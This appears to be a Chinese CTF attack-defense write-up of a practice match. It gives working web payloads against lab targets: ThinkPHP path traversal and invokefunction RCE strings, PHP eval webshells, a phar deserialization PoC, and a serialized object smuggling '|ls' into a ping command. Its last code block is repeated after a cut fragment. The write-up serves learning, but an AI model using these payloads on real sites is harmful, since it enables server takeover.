前言
之前没打过awd,这次学长组织了一场awd娱乐赛,两个web一个pwn,还有一个黑盒,只会web,第一次啥也不会瞎打,被打烂了,不会写脚本,手交flag的感觉真“不错”,感觉awd还是比ctf好多了(虽然啥也不会),浅浅复现一下
黑盒
tp6的洞
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['a']);?>+/a.php
web2
后门
拿到源码直接用D盾扫一下
发现一句话木马,直接访问rce即可
直接删除一句话木马即可
thinkphp5的rce漏洞
https://vulners.com/cve/CVE-2019-9082
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
逻辑漏洞
在admin的index.php中
可以包含输出/flag,并且继承了Base
让cookie
中的csrf_token
等于md5('QLNU')
,就可以绕过
phar反序列化
题目首页有个文件上传的接口
正常传入的php会显示上传文件MIME类型不允许!
看一下源码
upload这里有很多过滤比赛的时候也饶了好久没绕过去,完事看wp才知道是phar反序列化
看一些继承的Base
很明显的一个__destruct()
魔法函数,里面有个一eval
函数可以rce,而__destruct()
在对象销毁时才会触发,后面有一个file_exists
读文件,可以想到Phar反序列化,学长说环境不行也没打,直接放poc
<?php
class Core{
public $data='system("cat /f*");';
function __wakeup(){
echo $this->data;
}
}
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new Core;
$phar -> setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
web3
后门
还是用D盾扫
删除即可
日志包含
上来文件就可以看到一个log.php
里面啥也没有,去访问一下
可以看到包含了很多我们的操作,很容易可以想到随便一个地方,写一个一句话木马,就可以包含到log.php就可以getshell了
登录一下木马就包含到log.php
中了
万能密码
可以直接登录网站后台
ping命令执行
在user.php中的ping,可以用管道来getflag
index.php中的$c
值在function.php中代表了文件名
然后index.php中的run_a($obj,$a);
在function.php运行了在$obj
中的方法,$a
代表方法名
文件上传
用万能密码登录以后,可以看到有一个文件上传接口
随便上传一个php文件
error了,用大小写绕过
可以看到可以上传成功但解析失败,环境问题
反序列化
在/common/home.php中
比较明显的一个反序列化,也是利用ping直接构造
<?php
class home{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a=new home("ping",array("127.0.0.1|ls"));
echo base64_encode(serialize($a));
?>
反序列化二
在/common/calcf.php中
也是比较明显的反序列化点,
可以看到这里有一个__wakeup
,可以向log.php写入文件,写一个一句话木马即可
<?php
class chybeta{
var $test='<?php @eval($_POST[a]); ?>';
}
$a=new chybeta();
echo serialize($a);
//O:7:"chybeta":1:{s:4:"test";s:26:"";}
_wakeup`,可以向log.php写入文件,写一个一句话木马即可
<?php
class chybeta{
var $test='<?php @eval($_POST[a]); ?>';
}
$a=new chybeta();
echo serialize($a);
//O:7:"chybeta":1:{s:4:"test";s:26:"";}